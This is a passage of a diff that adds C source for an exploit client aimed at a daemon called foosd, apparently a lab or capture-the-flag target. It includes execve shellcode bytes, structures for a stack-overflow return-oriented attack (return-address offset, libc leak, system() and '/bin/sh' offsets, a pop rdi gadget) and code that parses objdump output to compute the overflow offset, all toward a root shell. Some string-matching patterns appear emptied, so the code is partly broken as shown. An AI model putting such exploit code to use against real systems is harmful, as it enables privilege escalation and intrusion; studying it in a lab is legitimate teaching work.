push 0x3b (execve) */ + 0x58, /* pop rax */ + 0x0f, 0x05 /* syscall */ +}; +#define SHELLCODE_LEN ((int)(sizeof(SHELLCODE))) + +/* ------------------------------------------------------------------------- */ +/* Results of analysing the target binary and our own libc */ +/* ------------------------------------------------------------------------- */ + +struct bininfo { + unsigned long vuln_addr; /* Address of foosd's vulnerable_handler(). */ + unsigned long win_addr; /* Address of foosd's win() (non-root shell).*/ + unsigned long win_root_addr;/* Address of win_root() (root shell).. */ + unsigned long frame_off; /* buf's distance below rbp, from the disasm. */ + unsigned long rip_off; /* buf -> saved return address. THE key. */ + unsigned long ret_gadget; /* Address of a bare `ret` in the binary. */ +}; + +struct libcinfo { + unsigned long base; /* libc base in OUR process. */ + unsigned long off_system; /* offset of system() */ + unsigned long off_read; /* offset of read() -- matches the leak */ + unsigned long off_binsh; /* offset of the "/bin/sh" string */ + unsigned long off_poprdi; /* offset of a `pop rdi ; ret` gadget */ +}; + +struct leaks { + unsigned long stack; /* A stack address (informational). */ + unsigned long libc_read; /* Real address of read() in target's libc. */ + unsigned long buf; /* Address of foosd's `buf`. The whole game. */ + int euid; /* Target's effective uid (from banner). */ + int ruid; /* Target's real uid. */ +}; + +/* ------------------------------------------------------------------------- */ +/* Step 1: static analysis of the target binary via objdump */ +/* ------------------------------------------------------------------------- */ + +/* + * Why parse disassembly instead of hardcoding the offset? Because the number + * (88 for this build) is a property of the compilation, not of the bug. + * Rebuild with another compiler version or another local variable and it + * changes; a hardcoded offset is the classic reason exploits die after a + * rebuild. Computing it keeps the exploit honest and it is what a real + * analyst actually does. + * + * GCC -O0 on x86-64 emits for the target function: + * push %rbp ; mov %rsp,%rbp ; sub $N,%rsp + * lea -OFF(%rbp),%reg <- the buffer, passed to read() + * so buf sits OFF below the saved frame pointer and the RETURN ADDRESS is + * 8 bytes further up: rip_off = OFF + 8 + */ +static int analyse_binary(const char *path, struct bininfo *out) +{ + char cmd[512]; + char line[1024]; + FILE *pp; + int in_vuln = 0; + int saw_read = 0; + int have_off = 0; + long best_off = 0; + int status; + + memset(out, 0, sizeof(*out)); + + /* objdump is guaranteed present because the lab builds with it. */ + snprintf(cmd, sizeof(cmd), "objdump -d --no-show-raw-insn '%s' 2>/dev/null", + path); + + pp = popen(cmd, "r"); + if (pp == NULL) { + fprintf(stderr, "foosc: cannot run objdump: %s\n", strerror(errno)); + return -1; + } + + while (fgets(line, sizeof(line), pp) != NULL) { + + /* --- Function boundaries: "0000000000401535 :" ---------- */ + if (strstr(line, ":") != NULL) { + in_vuln = 1; + sscanf(line, "%lx", &out->vuln_addr); + continue; + } + + if (strstr(line, ":") != NULL) { + /* Longer name; check it FIRST so it is not confused. */ + sscanf(line, "%lx", &out->win_root_addr); + continue; + } + + if (strstr(line, ":") != NULL) { + sscanf(line, "%lx", &out->win_addr); + continue; + } + + /* Any other "